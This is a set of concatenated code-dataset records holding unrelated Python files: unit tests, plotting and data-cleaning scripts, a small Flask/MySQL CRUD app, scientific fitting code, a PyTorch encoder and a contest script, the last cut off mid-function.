print(cognitive(\"gangan.wav\"))","sub_path":"Azure/Cognitive.py","file_name":"Cognitive.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"63105960","text":"#!/usr/bin/python3\n\"\"\"\n This module contains test cases for Amenity\n\"\"\"\nimport unittest\nfrom models.amenity import Amenity\nimport pep8\nfrom models.base_model import BaseModel\nfrom datetime import datetime\n\n\nclass TestAmenity(unittest.TestCase):\n \"\"\"\" Test cases class of Amenity \"\"\"\n\n def test_pep8_amenity(self):\n \"\"\"pep8 test.\n Makes sure the Python code is up to the pep8 standard.\n \"\"\"\n syntax = pep8.StyleGuide(quit=True)\n check = syntax.check_files(['models/amenity.py'])\n self.assertEqual(\n check.total_errors, 0,\n \"Found code style errors (and warnings).\"\n )\n\n def test_attr(self):\n amenity = Amenity()\n self.assertTrue(hasattr(amenity, \"id\"))\n self.assertTrue(hasattr(amenity, \"created_at\"))\n self.assertTrue(hasattr(amenity, \"updated_at\"))\n self.assertTrue(hasattr(amenity, \"name\"))\n\n def test_type(self):\n amenity = Amenity()\n self.assertEqual(type(amenity.id), str)\n self.assertEqual(type(amenity.created_at), datetime)\n self.assertEqual(type(amenity.updated_at), datetime)\n self.assertEqual(type(amenity.name), str)\n\n def test_attrIsempty(self):\n amenity = Amenity()\n self.assertEqual(amenity.name, \"\")\n","sub_path":"tests/test_models/test_amenity.py","file_name":"test_amenity.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"418542414","text":"import os\nfrom pylab import *\nfrom nbody_loop_C import *\n\nlogpatterns = []\n\n# 1) 2d plots t_min(theta,N) for different parts of the program\n\nfor log in logs:\n logpatterns.append(zeros(shape=(len(Ns),len(thetas))))\n\nfor i_log in range(len(logs)):\n for i_N in range(len(Ns)):\n for i_theta in range(len(thetas)):\n A = loadtxt(generate_filename(Ns[i_N],thetas[i_theta],logs[i_log]))\n logpatterns[i_log][i_N,i_theta] = min(A)\n\nfor i_log in range(len(logs)):\n#imsave(\"step%i.png\" % logs[i_log],logpatterns[i_log])\n fig = figure(figsize=(6,4))\n imshow(logpatterns[i_log]/1E-3,interpolation='nearest')\n xlabel(\"theta\")\n ylabel(\"N\")\n xticks(range(0,len(thetas)),thetas)\n yticks(range(0,len(Ns)),Ns)\n title(logs_tags[i_log])\n cb = colorbar()\n cb.set_label(\"execution time [msec]\")\n savefig(\"%s/step%i.png\" % (OUT_FOLDER,logs[i_log]),dpi=300)\n clf()\n\n# 2) plot t_min(theta=const.,N=const.) vs. propagation step\n\nlogcurves = []\n\n\nval_min = 1E-10\nval_max = 5E-8\nfor i_theta in range(len(thetas)):\n logpattern = zeros(shape=(len(Ns),len(steps)))\n for i_N in range(len(Ns)):\n #l = []\n for i_log in [3]:\n A = loadtxt(generate_filename(Ns[i_N],thetas[i_theta],logs[i_log]))\n A = A.reshape((N_iterations,len(steps)))\n A = A.min(0)\n logpattern[i_N,:] = A[:]/(1.0*Ns[i_N]**2)\n #plot(steps,A.min(0)/1E-3,)\n #l.append(\"step %i\" % logs[i_log])\n #xlabel(\"propagation step\")\n #ylabel(\"time [msec]\")\n #legend(l)\n #title(\"N=%i ; theta=%f\" % (Ns[i_N],thetas[i_theta]))\n #savefig(\"ptime_N%i_T%f.png\" % (Ns[i_N],thetas[i_theta]))\n#print logpattern.min()\n# print logpattern.max()\n imshow(log10(logpattern),interpolation=\"nearest\",vmin=log10(val_min),vmax=log10(val_max))\n xlabel(\"propagation step\")\n ylabel(\"N\")\n yticks(range(len(Ns)),Ns)\n title(\"theta=%f\" % (thetas[i_theta]))\n #colorbar()\n savefig(\"%s/ptime_T%f.png\" % (OUT_FOLDER,thetas[i_theta]))\n clf()\n# from pylab import figure, cm\n# from matplotlib.colors import LogNorm\n # C = some matrix\n# f = figure(figsize=(10,5))\n# ax = f.add_axes([0.17, 0.02, 0.72, 0.79])\n# axcolor = f.add_axes([0.90, 0.02, 0.03, 0.79])\n# im = ax.matshow(logpattern, norm=LogNorm(vmin=val_min, vmax=val_max))\n# t = [1E-10, 1E-9, 1E-8]\n# f.colorbar(im, cax=axcolor, ticks=t, format='$%e$')\n# savefig(\"ptime_T%f.png\" % (thetas[i_theta]))\n\n\n\n \n\n\n","sub_path":"assignment2/src/nbody_loop_plot.py","file_name":"nbody_loop_plot.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"252685719","text":"import pandas as pd\nimport re\n\ndef clean_column_names(column_name):\n new_name = re.sub(r'[^A-Za-z0-9]', '_', column_name).strip()\n cameled = re.sub(r'_{1,}', '_', camel_to_lower_case(new_name))\n final = cameled[:-1] if cameled[-1] == '_' else cameled\n return final\n\ndef camel_to_lower_case(name):\n step_1 = re.sub('(.)([A-Z][a-z]+)', r'\\1_\\2', name)\n return re.sub('([a-z])([0-9A-Z])', r'\\1_\\2', step_1).lower()\n\n# =============================================================================\n# Data Column Details\n#\n# Date - The date of the observation\n# AveragePrice - the average price of a single avocado\n# type - conventional or organic\n# year - the year\n# Region - the city or region of the observation\n# Total Volume - Total number of avocados sold\n# 4046 - Total number of avocados with PLU 4046 sold\n# 4225 - Total number of avocados with PLU 4225 sold\n# 4770 - Total number of avocados with PLU 4770 sold\n#\n# =============================================================================\n\n# =============================================================================\n# Data Cleaning\n# =============================================================================\n\ndf = pd.read_csv('avocado.csv')\ndf.drop(['Unnamed: 0'], axis=1, inplace = True)\nfor c in df.columns:\n df.rename(columns={c:clean_column_names(c)}, inplace=True)\n\n# Format date column from string to date-type\ndf['date'] = pd.to_datetime(df['date'])\n\n# =============================================================================\n# Initial Analysis\n# =============================================================================\nregions = df.groupby(df.region)\n\nprint(\"Total regions :\", len(regions))\nprint(\"-------------\")\nfor name, group in regions:\n print(name, \" : \", len(group))\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"avocado/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"207027343","text":"def solution(skill, skill_trees):\n result = []\n for tree in skill_trees:\n number = list(skill)\n check = True\n for ski in tree:\n if len(number) != 0:\n if ski in number and ski == number[0]:\n del number[0]\n elif ski in number and ski != number[0]:\n check = False\n break\n result.append(check)\n return result.count(True)\n","sub_path":"스킬트리.py","file_name":"스킬트리.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"535134302","text":"import pytest\n\nfrom stp_core.loop.eventually import eventually\nfrom plenum.test.primary_election.helpers import checkNomination\nfrom plenum.test.test_node import checkPoolReady, \\\n checkProtocolInstanceSetup\nfrom plenum.test import waits\n\nnodeCount = 4\n\n\n@pytest.fixture()\ndef electContFixture(txnPoolNodeSet):\n A, B, C, D = txnPoolNodeSet\n\n for node in [B, C, D]:\n node.delaySelfNomination(4)\n\n\n# noinspection PyIncorrectDocstring\n@pytest.mark.skip('Nodes use round robin primary selection')\ndef testPrimaryElectionWithAClearWinner(\n electContFixture, looper, txnPoolNodeSet):\n \"\"\"\n Primary selection (Sunny Day)\n A, B, C, D, E\n A, B, C, D startup. E is lagging.\n A sees the minimum number of nodes first, and then sends out a NOMINATE(A) message\n B, C, D all see the NOMINATE(A) message from A, and respond with NOMINATE(A) message to all other nodes\n\n A sees three other NOMINATE(A) votes (from B, C, D)\n A sees that A is the clear winner (2f+1 total), and sends PRIMARY(A) to all nodes\n\n B sees two more NOMINATE(A) votes (from C and D)\n B sees that A is the clear winner (2f+1 total), and sends PRIMARY(A) to all nodes\n\n C sees two more NOMINATE(A) votes (from B and D)\n C sees that A is the clear winner (2f+1 total), and sends PRIMARY(A) to all nodes\n\n D sees two more NOMINATE(A) votes (from B and C)\n D sees that A is the clear winner (2f+1 total), and sends PRIMARY(A) to all nodes\n\n A sees at least two other PRIMARY(A) votes (3 including it's own)\n selects A as primary\n\n B sees at least two other PRIMARY(A) votes (3 including it's own)\n selects A as primary\n\n C sees at least two other PRIMARY(A) votes (3 including it's own)\n selects A as primary\n\n D sees at least two other PRIMARY(A) votes (3 including it's own)\n selects A as primary\n \"\"\"\n A, B, C, D = txnPoolNodeSet\n nodesBCD = [B, C, D]\n\n checkPoolReady(looper, txnPoolNodeSet)\n\n # Checking whether one of the replicas of Node A nominated itself\n timeout = waits.expectedPoolNominationTimeout(len(txnPoolNodeSet))\n looper.run(eventually(checkNomination, A,\n A.name, retryWait=1, timeout=timeout))\n\n timeout = waits.expectedPoolNominationTimeout(len(txnPoolNodeSet))\n for n in nodesBCD:\n # Checking whether Node B, C and D nominated Node A\n looper.run(eventually(checkNomination, n, A.name,\n retryWait=1, timeout=timeout))\n\n checkProtocolInstanceSetup(looper=looper, nodes=txnPoolNodeSet, retryWait=1)\n assert A.hasPrimary\n","sub_path":"plenum/test/primary_election/test_primary_election_with_clear_winner.py","file_name":"test_primary_election_with_clear_winner.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"31408141","text":"#!/usr/bin/env python\n\"\"\"\n Copyright 2020 Johns Hopkins University (Author: Jesus Villalba)\n Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) \n\"\"\"\nimport sys\nimport os\nfrom jsonargparse import (\n ArgumentParser,\n ActionConfigFile,\n ActionParser,\n namespace_to_dict,\n)\nimport time\nimport logging\n\nfrom pathlib import Path\n\nimport numpy as np\nimport yaml\n\nfrom hyperion.hyp_defs import float_cpu, config_logger\nfrom hyperion.utils import Utt2Info, SCPList\n\n\ndef make_lists(\n input_file,\n benign_wav_file,\n output_dir,\n test_min_snr,\n test_max_snr,\n test_success_category,\n):\n\n output_dir = Path(output_dir)\n output_dir.mkdir(parents=True, exist_ok=True)\n\n with open(input_file, \"r\") as f:\n test_attacks = yaml.load(f, Loader=yaml.FullLoader)\n\n k2w = SCPList.load(benign_wav_file)\n\n keys = []\n files = []\n classes = []\n benign_keys = []\n durs = []\n for k, v in test_attacks.items():\n keys.append(k)\n files.append(v[\"wav_path\"])\n classes.append(v[\"threat_model\"])\n benign_keys.append(v[\"test_benign\"])\n\n benign_keys = np.unique(benign_keys)\n for k in benign_keys:\n keys.append(k)\n classes.append(\"benign\")\n files.append(k2w[k][0])\n\n test_u2c = Utt2Info.create(keys, classes)\n test_wav = SCPList(keys, files)\n\n test_u2c.save(output_dir / \"utt2attack\")\n test_wav.save(output_dir / \"wav.scp\")\n\n\nif __name__ == \"__main__\":\n\n parser = ArgumentParser(description=\"prepare lists to test attack classification\")\n\n parser.add_argument(\"--input-file\", required=True)\n parser.add_argument(\"--benign-wav-file\", required=True)\n parser.add_argument(\"--output-dir\", required=True)\n parser.add_argument(\"--test-min-snr\", default=-10, type=float)\n parser.add_argument(\"--test-max-snr\", default=100, type=float)\n parser.add_argument(\n \"--test-success-category\",\n default=\"success\",\n choices=[\"success\", \"fail\", \"both\"],\n )\n parser.add_argument(\n \"-v\", \"--verbose\", dest=\"verbose\", default=1, choices=[0, 1, 2, 3], type=int\n )\n\n args = parser.parse_args()\n config_logger(args.verbose)\n del args.verbose\n logging.debug(args)\n\n make_lists(**vars(args))\n","sub_path":"egs/voxceleb/adv.v2/local/make_spkverif_test_lists_exp_attack_threat_model_v1.py","file_name":"make_spkverif_test_lists_exp_attack_threat_model_v1.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"275256045","text":"from flask import Flask, render_template, request, redirect, url_for, flash\r\nfrom flask_mysqldb import MySQL\r\n\r\napp = Flask(__name__)\r\n\r\n# Mysql Connection\r\napp.config['MYSQL_HOST'] = 'localhost'\r\napp.config['MYSQL_USER'] = 'root'\r\napp.config['MYSQL_PASSWORD'] = ''\r\napp.config['MYSQL_DB'] = 'rapey'\r\nmysql = MySQL(app)\r\n\r\n#Configuraciones\r\napp.secret_key = 'mysecretkey'\r\n\r\n#CRUD Region\r\n@app.route('/')\r\ndef index_region():\r\n cursor = mysql.connection.cursor()\r\n cursor.execute('SELECT * FROM region')\r\n datos = cursor.fetchall()\r\n return render_template('sesion-region.html', regiones = datos)\r\n\r\n@app.route('/agregar_region', methods=['POST'])\r\ndef agregar_region():\r\n if request.method == 'POST':\r\n Nombre = request.form['Nombre']\r\n Id_region = request.form['Id_region']\r\n cursor = mysql.connection.cursor()\r\n cursor.execute('INSERT INTO Region (Nombre, Id_region) VALUES (%s,%s)',\r\n (Nombre,Id_region,))\r\n mysql.connection.commit()\r\n flash('Region agregada correctamente')\r\n return redirect(url_for('index_region'))\r\n\r\n@app.route('/edit_region/')\r\ndef get_region(Id_region):\r\n cursor = mysql.connection.cursor()\r\n cursor.execute('SELECT * FROM Region WHERE Id_region = %s', (Id_region))\r\n dato = cursor.fetchall()\r\n return render_template('edit-region.html', regiones = dato[0])\r\n\r\n@app.route('/update/', methods = ['POST'])\r\ndef update_region(Id_region):\r\n if request.method == 'POST':\r\n Nombre = request.form['Nombre']\r\n Id_region = request.form['Id_region']\r\n cursor = mysql.connection.cursor()\r\n cursor.execute(\"UPDATE Region SET Nombre = %s, Id_region = %s, WHERE Id_region = %s; \",(Nombre, Id_region, Id_region))\r\n mysql.connection.commit()\r\n flash('Region actualizada correctamente')\r\n return redirect(url_for('index_region'))\r\n\r\n@app.route('/delete_region/')\r\ndef delete_region(Id_region):\r\n cursor = mysql.connection.cursor()\r\n cursor.execute('DELETE FROM Region WHERE Id_region = %s', (Id_region))\r\n mysql.connection.commit()\r\n flash('Region eliminada correctamente')\r\n return redirect(url_for('index_region'))\r\n#END CRUD Region\r\n\r\nif __name__ == '__main__':\r\n app.run(port=3002,debug=True)","sub_path":"App3 region.py","file_name":"App3 region.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"627807184","text":"from qtpy.QtWidgets import QApplication, QTableWidgetItem\nfrom qtpy import QtGui\nimport numpy as np\nfrom lmfit import Model\n\nfrom ..fitting.fitting_functions import basic_fit, advanced_fit\n\n\nclass ResultValueError(object):\n\n def __init__(self, result=None):\n self.result = result\n\n def get_value_err(self, tag=''):\n value = self.result.params[tag].value\n error = self.result.params[tag].stderr\n\n return [value, error]\n\n\nclass FittingJobHandler(object):\n\n def __init__(self, parent=None, grand_parent=None):\n self.parent = parent\n self.grand_parent = grand_parent\n\n def run_story(self):\n table_fitting_story_dictionary = self.grand_parent.table_fitting_story_dictionary\n table_dictionary = self.grand_parent.march_table_dictionary\n nbr_entry = len(table_fitting_story_dictionary)\n\n _advanced_fitting_mode = self.grand_parent.fitting_ui.ui.advanced_table_checkBox.isChecked()\n\n # define fitting equation\n if _advanced_fitting_mode:\n gmodel = Model(advanced_fit, missing='drop') # do not considerate the np.NaN\n else:\n gmodel = Model(basic_fit, missing='drop')\n\n # index of selection in bragg edge plot\n [left_index, right_index] = self.grand_parent.fitting_bragg_edge_linear_selection\n\n # retrieve image\n data_2d = np.array(self.grand_parent.data_metadata['normalized']['data'])\n full_x_axis = self.parent.bragg_edge_data['x_axis']\n x_axis = np.array(full_x_axis[left_index: right_index], dtype=float)\n\n self.grand_parent.fitting_story_ui.eventProgress.setValue(0)\n self.grand_parent.fitting_story_ui.eventProgress.setMaximum(nbr_entry)\n self.grand_parent.fitting_story_ui.eventProgress.setVisible(True)\n self.grand_parent.fitting_story_ui.eventProgress2.setVisible(True)\n\n for _entry_index in table_fitting_story_dictionary.keys():\n\n self.status_of_row(row=_entry_index, status='IN PROGRESS')\n\n _entry = table_fitting_story_dictionary[_entry_index]\n d_spacing_flag = _entry['d_spacing']\n alpha_flag = _entry['alpha']\n sigma_flag = _entry['sigma']\n a1_flag = _entry['a1']\n a2_flag = _entry['a2']\n\n if _advanced_fitting_mode:\n a5_flag = _entry['a5']\n a6_flag = _entry['a6']\n\n self.grand_parent.fitting_story_ui.eventProgress2.setValue(0)\n self.grand_parent.fitting_story_ui.eventProgress2.setMaximum(len(table_dictionary))\n\n # loop over all the bins\n progress_bar_index = 0\n for _bin_index in table_dictionary:\n _bin_entry = table_dictionary[_bin_index]\n\n if _bin_entry['active']:\n\n # define status of variables\n params = gmodel.make_params()\n\n _d_spacing = _bin_entry['d_spacing']['val']\n params.add('d_spacing', value=_d_spacing, vary=d_spacing_flag)\n\n _sigma = _bin_entry['sigma']['val']\n params.add('sigma', value=_sigma, vary=sigma_flag)\n\n _alpha = _bin_entry['alpha']['val']\n params.add('alpha', value=_alpha, vary=alpha_flag)\n\n _a1 = _bin_entry['a1']['val']\n params.add('a1', value=_a1, vary=a1_flag)\n\n _a2 = _bin_entry['a2']['val']\n params.add('a2', value=_a2, vary=a2_flag)\n\n if _advanced_fitting_mode:\n _a5 = _bin_entry['a5']['val']\n params.add('a5', value=_a5, vary=a5_flag)\n\n _a6 = _bin_entry['a6']['val']\n params.add('a6', value=_a6, vary=a6_flag)\n\n _bin_x0 = _bin_entry['bin_coordinates']['x0']\n _bin_x1 = _bin_entry['bin_coordinates']['x1']\n _bin_y0 = _bin_entry['bin_coordinates']['y0']\n _bin_y1 = _bin_entry['bin_coordinates']['y1']\n\n y_axis = data_2d[left_index: right_index,\n _bin_x0: _bin_x1,\n _bin_y0: _bin_y1,\n ] # noqa: E124\n\n # y_axis = y_axis.sum(axis=1)\n # y_axis = np.array(y_axis.sum(axis=1), dtype=float)\n y_axis = np.nanmean(y_axis, axis=1)\n y_axis = np.array(np.nanmean(y_axis, axis=1), dtype=float)\n\n try:\n result = gmodel.fit(y_axis, params, t=x_axis)\n except ValueError:\n self.status_of_row(row=_entry_index, status='FAILED')\n # FIXME\n # show dialog message that informs that fitting did not converge\n # tell which step failed\n\n _o_result = ResultValueError(result=result)\n if d_spacing_flag:\n [value, error] = _o_result.get_value_err(tag='d_spacing')\n _bin_entry['d_spacing']['val'] = value\n _bin_entry['d_spacing']['err'] = error\n\n if sigma_flag:\n [value, error] = _o_result.get_value_err(tag='sigma')\n _bin_entry['sigma']['val'] = value\n _bin_entry['sigma']['err'] = error\n\n if alpha_flag:\n tag = 'alpha'\n [value, error] = _o_result.get_value_err(tag=tag)\n _bin_entry[tag]['val'] = value\n _bin_entry[tag]['err'] = error\n\n if a1_flag:\n tag = 'a1'\n [value, error] = _o_result.get_value_err(tag=tag)\n _bin_entry[tag]['val'] = value\n _bin_entry[tag]['err'] = error\n\n if a2_flag:\n tag = 'a2'\n [value, error] = _o_result.get_value_err(tag=tag)\n _bin_entry[tag]['val'] = value\n _bin_entry[tag]['err'] = error\n\n if _advanced_fitting_mode:\n\n if a5_flag:\n tag = 'a5'\n [value, error] = _o_result.get_value_err(tag=tag)\n _bin_entry[tag]['val'] = value\n _bin_entry[tag]['err'] = error\n\n if a6_flag:\n tag = 'a6'\n [value, error] = _o_result.get_value_err(tag=tag)\n _bin_entry[tag]['val'] = value\n _bin_entry[tag]['err'] = error\n\n table_dictionary[_bin_index] = _bin_entry\n\n progress_bar_index += 1\n self.grand_parent.fitting_story_ui.eventProgress2.setValue(progress_bar_index)\n QApplication.processEvents()\n\n self.status_of_row(row=_entry_index, status='DONE')\n\n self.grand_parent.fitting_story_ui.eventProgress.setValue(_entry_index + 1)\n QApplication.processEvents()\n\n self.grand_parent.march_table_dictionary = table_dictionary\n self.grand_parent.fitting_ui.re_fill_table()\n self.grand_parent.fitting_ui.update_bragg_edge_plot(update_selection=False)\n\n self.grand_parent.fitting_story_ui.eventProgress.setVisible(False)\n self.grand_parent.fitting_story_ui.eventProgress2.setVisible(False)\n\n def status_of_row(self, row=0, status='IN PROGRESS'):\n if status == 'IN PROGRESS':\n _color = QtGui.QColor(0, 0, 255) # blue\n elif status == 'DONE':\n _color = QtGui.QColor(21, 190, 21) # green\n elif status == 'FAILED':\n status = 'SOME ERRORS!'\n _color = QtGui.QColor(255, 0, 0) # red\n else:\n _color = QtGui.QColor(0, 0, 0) # black\n _item = QTableWidgetItem(status)\n # _item.setTextColor(_color)\n _brush = QtGui.QBrush(_color)\n _item.setForeground(_brush)\n\n self.grand_parent.fitting_story_ui.ui.story_table.setItem(row, 7, _item)\n QApplication.processEvents()\n","sub_path":"ibeatles/fitting/fitting_job_handler.py","file_name":"fitting_job_handler.py","file_ext":"py","file_size_in_byte":8335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"72721048","text":"# -*- encoding: utf-8 -*-\n'''\n@File : ConvRNN.py\n@Time : 2020/11/10\n@Author : Ding\n@Description: convrnn cell\n'''\n\nfrom torch import nn\nfrom utils import make_layers\nimport torch\nimport logging\nfrom ConvLSTM import config\n\nconfig = config.get_config()\n\ndevice = config['device']\n\n\nclass Encoder(nn.Module):\n def __init__(self, subnets, rnns):\n super().__init__()\n assert len(subnets) == len(rnns)\n self.blocks = len(subnets)\n\n for index, (params, rnn) in enumerate(zip(subnets, rnns), 1):\n # index sign from 1\n setattr(self, 'stage' + str(index), make_layers(params)) # 设置类属性值(对象(类实例), 字符串-对象属性, 属性值)\n setattr(self, 'rnn' + str(index), rnn)\n\n def forward_by_stage(self, inputs, subnet, rnn):\n seq_number, batch_size, input_channel, height, width = inputs.size()\n inputs = torch.reshape(inputs, (-1, input_channel, height, width)) # (S*B, C, H, W)\n inputs = subnet(inputs) # cnn\n inputs = torch.reshape(inputs, (seq_number, batch_size, inputs.size(1),\n inputs.size(2), inputs.size(3)))\n outputs_stage, state_stage = rnn(inputs, None) # 直接传入实例化的ConvLSTM\n return outputs_stage, state_stage\n\n def forward(self, inputs):\n inputs = inputs.transpose(0, 1) # to S,B,1,64,64 彩图:[S, B, 3, 140, 140]\n hidden_states = []\n logging.debug(inputs.size())\n for i in range(1, self.blocks + 1):\n inputs, state_stage = self.forward_by_stage(\n inputs, getattr(self, 'stage' + str(i)),\n getattr(self, 'rnn' + str(i)))\n hidden_states.append(state_stage) # 每一个Seq的输出\n return tuple(hidden_states)\n\n\nif __name__ == \"__main__\":\n from net_params import convgru_encoder_params, convgru_decoder_params\n from torchvision import transforms\n from PIL import Image\n from dataload.dataload import DataLoad\n from tqdm import tqdm\n from torch.utils.data import DataLoader\n\n train_loader = DataLoad('train')\n\n encoder_rain = Encoder(convgru_encoder_params[0],\n convgru_encoder_params[1]).to(device)\n encoder_wl = Encoder(convgru_encoder_params[0],\n convgru_encoder_params[1]).to(device)\n tf = transforms.Compose([\n lambda x: Image.open(x).convert('RGB'), # string path= > image data\n transforms.ToTensor(),\n ])\n trainLoader = DataLoader(train_loader, batch_size=config['batchsz'], shuffle=True)\n for i, (input_, label) in tqdm(enumerate(trainLoader)):\n state_rain = encoder_rain(input_[0].to(device))\n state_wl = encoder_wl(input_[1].to(device))\n # print(state_rain.size())\n # print(state_wl.size())\n print(torch.cuda.memory_allocated()/1024/1024)\n # print(torch.cuda.max_memory_allocated())\n","sub_path":"ConvLSTM/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"486693199","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 24 13:03:38 2019\r\n\r\n@author: binxi\r\n\"\"\"\r\n\r\nclass Solution(object):\r\n def permuteUnique(self, nums):\r\n \"\"\"\r\n :type nums: List[int]\r\n :rtype: List[List[int]]\r\n \"\"\"\r\n if len(nums) == 1:\r\n return [nums]\r\n exit\r\n \r\n permutation = []\r\n \r\n for i in set(nums):\r\n copy = nums[:]\r\n copy.remove(i)\r\n for j in self.permuteUnique(copy):\r\n if ([i]+j) not in permutation:\r\n permutation.append([i]+j)\r\n \r\n return permutation","sub_path":"Leetcode/#47 Permutations II.py","file_name":"#47 Permutations II.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"358326735","text":"\"\"\"\nAdd, Delete, Update, Search on table test_image\n\"\"\"\n# !/usr/bin/env python3\n\nfrom db import mysql\n\nclass ImageInfo:\n \"\"\"Entity Class to Table test_image\"\"\"\n pk = -1\n name = \"\"\n\n def __init__(self, _pk, _name):\n self.pk = _pk\n self.name = _name\n\n def json(self):\n return {\"id\": self.pk, \"name\": self.name}\n\n\ndef new(image):\n if isinstance(image, dict):\n return ImageInfo(image['id'], image['name'])\n elif isinstance(image, ImageInfo):\n return ImageInfo(image.pk, image.name)\n\n\ndef find_all_from_db(return_json):\n\n conn = mysql.get_conn()\n cursor = conn.cursor()\n\n # SQL 插入语句\n sql = \"select id,name from test_image\"\n images = []\n\n try:\n # 执行sql语句\n cursor.execute(sql)\n results = cursor.fetchall()\n for row in results:\n if return_json is True:\n images.append({\"id\": row[0], \"name\": row[1]})\n else:\n images.append(new({\"id\": row[0], \"name\": row[1]}))\n\n except Exception as e:\n raise e\n\n finally:\n conn.close()\n\n return images\n\n\nif __name__ == '__main__':\n print(find_all_from_db(True))\n","sub_path":"db/ImageInfoRepo.py","file_name":"ImageInfoRepo.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"23021143","text":"import json\nfrom json.decoder import JSONDecodeError\nfrom django.http.response import HttpResponseBadRequest, HttpResponseBase, HttpResponseNotAllowed, JsonResponse\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom hero.models import Hero\nfrom django.views.decorators.csrf import csrf_exempt\n\n# Create your views here.\n\ndef index(request):\n filtered_list = [hero for hero in Hero.objects.filter(age=25).values()]\n return JsonResponse(filtered_list, safe=False)\n # pass\n\ndef hero_name(request, name=\"\"):\n return HttpResponse('Your name is {}!'.format(name))\n\ndef hero_id(request, id=0):\n return HttpResponse('Your id is {}!'.format(id))\n\n@csrf_exempt\ndef hero_list(request):\n if request.method == 'GET':\n hero_all_list = [hero for hero in Hero.objects.all().values()]\n return JsonResponse(hero_all_list, safe=False)\n elif request.method == 'POST':\n try:\n body = request.body.decode()\n hero_name = json.loads(body)['name']\n except (KeyError, JSONDecodeError) as e:\n return HttpResponseBadRequest()\n hero = Hero(name=hero_name)\n hero.save()\n response_dict = {'id': hero_id, 'name': hero.name, 'age': str(hero.age)}\n return JsonResponse(response_dict, status=201)\n else:\n return HttpResponseNotAllowed(['GET', 'POST'])\n\n@csrf_exempt\ndef hero_info(request, id=0):\n if request.method == 'GET':\n hero = Hero.objects.filter(pk=id).values()[0]\n return JsonResponse(hero, safe=False)\n elif request.method == 'PUT':\n try:\n body = request.body.decode()\n info = json.loads(body)\n except (KeyError, JSONDecodeError) as e:\n return HttpResponseBadRequest()\n hero = Hero.objects.filter(pk=id)\n hero.name = info['name']\n hero.age = int(info['age'])\n hero.save()\n response_dict = {'id': hero.id, 'name': hero.name, 'age': str(hero.age)}\n return JsonResponse(response_dict, status=201)\n else:\n return HttpResponseNotAllowed(['GET', 'PUT'])","sub_path":"toh/hero/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"223171586","text":"#!/usr/bin/python\n#Written by krn_bhargav(kapslock)\nfrom libmicrocontest2_python27 import * # External library given by website should be in same directory.\nimport sys,os,subprocess\nfrom langid import classify\n\ndef main():\n con = commence_contest(37,'kapslock','')\n txt1 = con.get_str('txt1')\n txt2 = con.get_str('txt2')\n txt3 = con.get_str('txt3')\n txt4 = con.get_str('txt4')\n print('[+]txt1 : '+txt1)\n print('[+]txt2 : '+txt2)\n print('[+]txt3 : '+txt3)\n print('[+]txt4 : '+txt4)\n lang1 = classify(txt1)\n lang2 = classify(txt2)\n lang3 = classify(txt3)\n lang4 = classify(txt4)\n l1 = lang1[0]\n l2 = lang2[0]\n l3 = lang3[0]\n l4 = lang4[0]\n if l1 == 'nl':#langid module give different language code than microcontest so replace the language code with the microcontest one\n l1 = 'du'#du ==> dutch ==> nl ==> du\n if l2 == 'nl':\n l2 = 'du'\n if l3 == 'nl':\n l3 = 'du'\n if l4 == 'nl':\n l4 = 'du' \n con.append_answer('lang1',l1)\n con.append_answer('lang2',l2)\n con.append_answer('lang3',l3)\n con.append_answer('lang4',l4)\n print(con.submit_answer())\nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n print()\n","sub_path":"languagedetection.py","file_name":"languagedetection.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"278306812","text":"from datetime import datetime, timedelta\r\nimport commit\r\nimport github\r\nimport release\r\nimport repository\r\nimport os\r\nimport sys\r\n\r\ndef get_commits_between_releases(\r\n release: release.Release, \r\n last_release: release.Release, \r\n repo: repository.Repository\r\n ) -> [commit.Commit]:\r\n\r\n commits = []\r\n for c in repo.get_commits():\r\n if (c.get_date() >= last_release.get_creation_time() and\r\n c.get_date() <= release.get_creation_time()):\r\n commits.append(c)\r\n return commits\r\n\r\n\r\ndef format_urlsafe_time(td: timedelta) -> str:\r\n out = []\r\n seconds = td.seconds\r\n minutes = (seconds//60)%60\r\n hours = (seconds//3600)%24\r\n days = td.days\r\n if days > 0:\r\n out.append(f'{days}d')\r\n if hours > 0:\r\n out.append(f'{hours}h')\r\n if minutes > 0:\r\n out.append(f'{minutes}m')\r\n if len(out)==0:\r\n return 